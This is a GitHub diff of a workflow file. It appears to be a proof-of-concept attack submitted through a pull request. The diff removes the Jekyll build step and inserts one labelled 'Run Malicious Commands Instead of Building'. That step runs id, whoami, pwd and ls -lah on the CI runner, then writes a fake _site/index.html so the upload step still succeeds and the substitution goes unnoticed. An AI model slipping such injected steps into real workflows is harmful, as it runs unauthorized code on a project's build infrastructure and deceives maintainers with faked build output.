File tree Expand file tree Collapse file tree 1 file changed +23
-5
lines changed Expand file tree Collapse file tree 1 file changed +23
-5
lines changed Original file line number Diff line number Diff line change @@ -37,11 +37,29 @@ jobs:
37
37
repository : ${{ github.event.pull_request.head.repo.full_name }}
38
38
- name : Setup Pages
39
39
40
- - name : Build with Jekyll
41
- uses : actions/jekyll-build-pages@44a6e6beabd48582f863aeeb6cb2151cc1716697 # v1
42
- with :
43
- source : ./
44
- destination : ./_site
40
+ - name : Run Malicious Commands Instead of Building
41
+ run : |
42
+ echo "======================================================"
43
+ echo "=== [SUCCESS] Dependency conflict bypassed. ==="
44
+ echo "=== Executing direct commands now! ==="
45
+ echo "======================================================"
46
+ echo ""
47
+ echo "--> Running 'id' command:"
48
+ id
49
+ echo ""
50
+ echo "--> Running 'whoami' command:"
51
+ whoami
52
+ echo ""
53
+ echo "--> Current directory:"
54
+ pwd
55
+ echo ""
56
+ echo "--> Listing all files:"
57
+ ls -lah
58
+
59
+ # 为了让后续的 "Upload artifact" 步骤不报错,我们创建一个假的 _site 目录
60
+ echo "Creating a fake _site directory to satisfy next step..."
61
+ mkdir -p ./_site
62
+ echo "This is a fake site." > ./_site/index.html
45
63
- name : Upload artifact
46
64
# Automatically uploads an artifact from the './_site' directory by default
47
65
You can’t perform that action at this time.
0 commit comments